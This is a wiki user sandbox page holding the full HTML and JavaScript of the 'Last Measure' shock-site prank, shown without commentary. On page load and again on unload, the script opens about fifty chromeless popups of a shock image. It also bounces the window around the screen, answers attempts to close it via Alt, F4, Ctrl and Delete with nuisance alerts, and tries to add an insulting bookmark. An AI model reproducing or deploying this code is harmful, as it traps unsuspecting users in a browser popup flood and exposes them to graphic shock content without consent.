User:Pmb1226/Sandbox

@"Pmb1226"#p889 <title>Last Measure</title> </head> <script language="Javascript">

function bookmark() { if ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4)) { var url="http://web.archive.org/web/20040203153506/http://nero-online.org/lastmeasure/"; var title="Idiot!"; window.external.AddFavorite(url,title); } }

function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, pleae leave immediately"); } function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, pleae leave immediately"); } function delkey() { if (event.keyCode == 46) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, pleae leave immediately"); }

var xOff = 5; var yOff = 5; var xPos = 400; var yPos = -100; var flagRun = 1;

function openWindow(url){

       aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=500,height=500,titlebar=no,alwaysRaised=yes');

}

function procreate(){ openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); openWindow('https://encyclopediadramatica.online/images/5/5d/Hello.jpg'); }

function newXlt(){

       xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
       window.focus()}

function newXrt(){

       xOff = Math.ceil(7 * Math.random())  * 5 - 10 ;
       }

function newYup(){

       yOff = Math.ceil( 0 - 6 * Math.random())  * 5 - 10 ;
       }

function newYdn(){

       yOff = Math.ceil( 7 * Math.random())  * 5 - 10  ;
       }

function fOff(){

       flagrun = 0;
       }

function playBall(){

       xPos += xOff;
       yPos += yOff;
       if (xPos > screen.width-175){
       newXlt();
       }
       if (xPos < 0){
       newXrt();
       }
       if (yPos > screen.height-100){
       newYup();
       }
       if (yPos < 0){
       newYdn();
       }
       if (flagRun == 1){
       window.moveTo(xPos,yPos);
       setTimeout('playBall()',1);
       }
       }

</script> <body background="http://web.archive.org/web/20040203153506im_/http://goat.cx/hello.jpg" bgcolor="#ffffff" onload="flagRun=1;procreate();playBall();return true;bookmark();" onkeydown="altf4key();ctrlkey();delkey();" onunload="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">